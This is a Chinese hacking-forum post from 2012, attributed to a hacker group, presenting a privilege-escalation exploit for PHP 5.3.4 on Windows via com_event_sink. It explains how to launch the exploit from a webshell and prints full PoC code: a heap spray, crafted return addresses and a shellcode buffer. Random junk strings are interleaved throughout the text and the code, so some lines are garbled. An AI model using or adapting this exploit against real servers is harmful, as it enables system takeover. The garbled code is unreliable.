找回密码
 立即注册
查看: 3196|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中# j: F9 x- b. R- [4 {. V- d
8 Z; H$ l2 m) o7 {  \5 {
测试方法如下:cmd /c x:\php\php.exe x:\test.php7 t7 W6 D! L; C4 |5 G; {7 s3 _3 c

/ d+ Y' U7 A' T0 u4 U9 r! A+ d" b下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php0 d6 C# A2 U9 s4 p0 M* {
这里是两个测试的截图:
7 N  `2 s3 a3 f3 o) f$ V8 b# _1 w0 D

+ Z3 L4 l( J0 T0 i$ v: E- c5 j) K5 a3 P$ \! s1 T" N% L
/ |5 n, u6 Z9 w" g* t" [4 Z, `
# @: p( l. x; z
成功利用此漏洞的攻击者将获得系统的最高权限+ R  [) |  k* v

1 r2 J. P' v1 t" c) h! L: c# g
5 R0 B5 p4 ]% b% ]1 t7 u( s  c$ `! Q% V

& Q; R0 D; R8 T# [4 r! s
. D% x* I0 s8 d. b7 f1 |  G( [关于漏洞分析稍后附上。一下是PoC代码:
5 d, U2 `8 {0 d6 W4 P  b" _% I7 p
- P2 w- C& n# Q! ~& O$ d<?php+ p2 G" Y9 k9 x
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 b* A, w7 U! D* a5 h) s//$eip ="\x44\x43\x42\x41";
' {7 e$ z; e5 k2 G) R$ O$eip= "\x4b\xe8\x57\x78";
9 g+ ]# |+ p( y! i& o" u$eax ="\x80\x01\x8d\x04";- u. G# O$ S7 [, U0 `4 I
$deodrant="";
4 ^5 L$ ^9 C, L" o/ J8 u( k# ?$axespray = str_repeat($eip.$eax,0x80);
) E) K; ^  Y% o- I( U7 G- O//048d0190/ k2 f+ ^$ N; {) s$ I
echo strlen($axespray);* m0 f3 A2 p& E8 D$ l& x, h% f
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";0 N/ ~& [- |; c6 a3 ]: ]( g) S
echo "Silic Group Hacker Army - BlackBap.Org";: I3 T5 \  s# S$ L/ O
//19200 ==4B32 4b00
7 u1 ^% Y% N- Q3 h( ]/ U2 _3 Cfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}8 Y1 `7 G% F' m. n" u4 ~
$terminate = "T";
' i0 S# O$ p- j. \8 O* ^0 Y$u[] =$deodrant;- p7 Q9 ]8 P# C0 [2 F: v% a1 a
$r[] =$deodrant.$terminate;
( V9 P5 ~8 U& @# y5 `* a$a[] =$deodrant.$terminate;9 A5 T8 [3 n& V( [$ {
$s[] =$deodrant.$terminate;9 D& \$ K, F+ X$ A  [
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的: f0 Z! {* K2 d* |! n/ C: A5 @
$vVar = new VARIANT(0x048d0000+180);
  j6 Q1 O$ z8 ^4 F* n//弹窗代码(Shellcode)3 C- y& i# Z/ T5 v5 O+ ^1 Y
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
) i+ i: p$ \! B3 z$var2 = new VARIANT(0x41414242);
9 Q/ X" D& L  D2 O  L& [4 Q3 ncom_event_sink($vVar,$var2,$buffer);9 c* M$ }( k. d
?>
% _4 l. j/ Y8 Y1 V% J

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表